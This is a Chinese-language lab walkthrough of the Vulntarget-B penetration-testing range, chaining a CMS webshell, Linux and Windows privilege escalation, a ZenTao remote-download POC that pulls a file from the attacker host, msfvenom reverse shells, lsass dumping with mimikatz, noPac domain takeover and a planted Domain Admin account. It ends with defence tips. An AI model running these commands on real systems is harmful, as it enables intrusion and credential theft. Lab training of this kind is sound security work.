Vulntarget-B 靶场渗透实战教学文档<\/h1>

一、环境概述<\/h2>
Vulntarget-B 是一个模拟实战的渗透测试靶场环境，主要包含以下组件：<\/p>
运行极致CMS建站系统（端口81）<\/li>
宝塔面板环境（端口8888）<\/li>
多服务开放（SSH、HTTP、MySQL等）<\/li>
内网环境包含禅道系统（12.4.2版本）<\/li>
域环境（包含域控和域成员主机）<\/li> <\/ul>
二、外网渗透阶段<\/h2>

1. 信息收集<\/h3>
使用fscan进行扫描：<\/p>
fscan version: 1.8.3
<\/span><\/span>扫描结果：
<\/span><\/span>- 192.168.0.103:8888 (<\/span>宝塔面板)<\/span>
<\/span><\/span>- 192.168.0.103:81 (<\/span>极致CMS)<\/span>
<\/span><\/span>- 192.168.0.103:22 (<\/span>SSH)<\/span>
<\/span><\/span>- 192.168.0.103:80\/443 (<\/span>HTTP\/HTTPS)<\/span>
<\/span><\/span>- 192.168.0.103:3306 (<\/span>MySQL)<\/span>
<\/span><\/span><\/code><\/pre>2. 初始访问<\/h3>
极致CMS入口点<\/strong>：<\/p>

访问 http:\/\/192.168.0.103:81<\/code><\/li>
使用弱口令登录：admin\/admin123<\/code><\/li>
<\/ul>
获取Webshell<\/strong>：<\/p>

在后台安装编辑器插件<\/li>
通过插件写入Webshell<\/li>
使用蚁剑连接Webshell<\/li>
<\/ol>
3. 权限提升<\/h3>
绕过disable_functions<\/strong>：<\/p>

使用蚁剑插件绕过限制<\/li>
执行命令查看网络配置：\/sbin\/ifconfig<\/code><\/li>
<\/ul>
提权操作<\/strong>：<\/p>

生成Linux elf反弹shell<\/li>
使用CVE-2021-3156提权模块：
exploit\/linux\/local\/sudo_baron_samedit
<\/span><\/span><\/code><\/pre><\/li>
获取到用户凭证：

用户：msf<\/li>
密码：jcwbrujljbtcith<\/li>
<\/ul>
<\/li>
<\/ol>
三、内网横向移动<\/h2>
1. 隧道搭建<\/h3>
选择以下工具之一建立内网隧道：<\/p>

nps<\/li>
frp<\/li>
venom<\/li>
<\/ul>
2. 禅道系统渗透<\/h3>
目标信息<\/strong>：<\/p>

禅道版本：12.4.2<\/li>
存在远程文件下载漏洞<\/li>
<\/ul>
利用步骤<\/strong>：<\/p>

在踏板上创建PHP文件：
echo ""<\/span> > 1.php
<\/span><\/span><\/code><\/pre><\/li>
启动HTTP服务：
python -m http.server
<\/span><\/span>或
<\/span><\/span>python -m SimpleHTTPServer
<\/span><\/span><\/code><\/pre><\/li>
执行POC：
\/index.php?m=client&f=download&version=1&link=SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==
或
\/client-download-1-SFRUUDovLzEwLjAuMjAuMzM6NDU2Ny8xLnBocA==-1.html
<\/code><\/pre>
<\/li>
Webshell位置：\/data\/client\/1\/1.php<\/code><\/li>
<\/ol>
3. Windows系统渗透<\/h3>
生成Payload<\/strong>：<\/p>
msfvenom -p windows\/x64\/meterpreter\/reverse_tcp lhost=<\/span>IP lport=<\/span>4567<\/span> -f exe > shell.exe
<\/span><\/span><\/code><\/pre>监听设置<\/strong>：<\/p>
use exploit\/multi\/handler
set payload windows\/x64\/meterpreter\/reverse_tcp
set lhost 10.0.20.33
set lport 4567
run
<\/code><\/pre>
提权操作<\/strong>：<\/p>

使用自动提权检测：
run post\/multi\/recon\/local_exploit_suggester
<\/code><\/pre>
<\/li>
利用CVE-2021-1732：
use exploit\/windows\/local\/cve_2021_1732_win32k
set session 3
set lhost 10.0.20.33
set lport 5757
run
<\/code><\/pre>
<\/li>
<\/ol>
4. 凭证获取<\/h3>
使用Kiwi模块<\/strong>：<\/p>
meterpreter > load kiwi
meterpreter > cred_all
<\/code><\/pre>
密码喷射技术<\/strong>：<\/p>

修改注册表启用WDigest：
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \/v UseLogonCredential \/t REG_DWORD \/d 1 \/f
<\/span><\/span><\/code><\/pre><\/li>
使用procdump获取lsass.dmp：
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
<\/span><\/span><\/code><\/pre><\/li>
使用mimikatz提取凭证：
mimikatz.exe "sekurlsa::minidump lsass.dmp"<\/span> "sekurlsa::logonPasswords full"<\/span> exit
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
四、域渗透阶段<\/h2>
1. 域信息收集<\/h3>
run post\/windows\/gather\/enum_domain
<\/code><\/pre>
输出：<\/p>

域名：vulntarget<\/li>
域控：WIN-UH20PRD3EAO (IP: 10.0.10.100)<\/li>
<\/ul>
2. 利用CVE-2021-42278\/42287<\/h3>
使用noPac工具<\/strong>：<\/p>
.\noPac.exe -domain vulntarget.com -user win101 -pass admin#123 \/dc WIN-UH20PRD3EAO.vulntarget.com \/mAccount test2 \/mPassword admin@123 \/service cifs \/ptt
<\/span><\/span><\/code><\/pre>验证访问<\/strong>：<\/p>
dir<\/span> \\WIN-UH20PRD3EAO.vulntarget.com\c$
<\/span><\/span><\/code><\/pre>3. 域控接管<\/h3>
添加域管账户<\/strong>：<\/p>
net user admin P@ssw0rd123 \/add \/domain
<\/span><\/span>net group "Domain Admins"<\/span> admin \/add \/domain
<\/span><\/span><\/code><\/pre>配置远程访问<\/strong>：<\/p>
netsh advfirewall firewall add rule name="Remote Desktop"<\/span> protocol=TCP dir=in localport=3389 action=allow
<\/span><\/span>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "<\/span>Server \/v fDenyTSConnections \/t REG_DWORD \/d 0 \/f
<\/span><\/span><\/code><\/pre>使用PsExec登录<\/strong>：<\/p>
PsExec64.exe \\域控IP -u vulntarget\admin -p P@ssw0rd123 -s cmd.exe
<\/span><\/span><\/code><\/pre>五、关键漏洞总结<\/h2>

极致CMS弱口令漏洞<\/li>
宝塔面板安全入口校验绕过<\/li>
Linux提权漏洞（CVE-2021-3156）<\/li>
禅道12.4.2远程文件下载漏洞<\/li>
Windows提权漏洞（CVE-2021-1732）<\/li>
域控漏洞（CVE-2021-42278\/42287）<\/li>
<\/ol>
六、防御建议<\/h2>

禁用默认\/弱口令账户<\/li>
及时更新系统和应用补丁<\/li>
限制管理界面访问来源<\/li>
监控异常文件下载行为<\/li>
配置Kerberos审计策略<\/li>
限制机器账户创建权限<\/li>
启用LSA保护防止凭证转储<\/li>
<\/ol>
通过本实战演练，可以全面了解从外网渗透到内网横向移动，再到域环境攻防的完整攻击链，有助于提升企业网络安全防御能力。<\/p>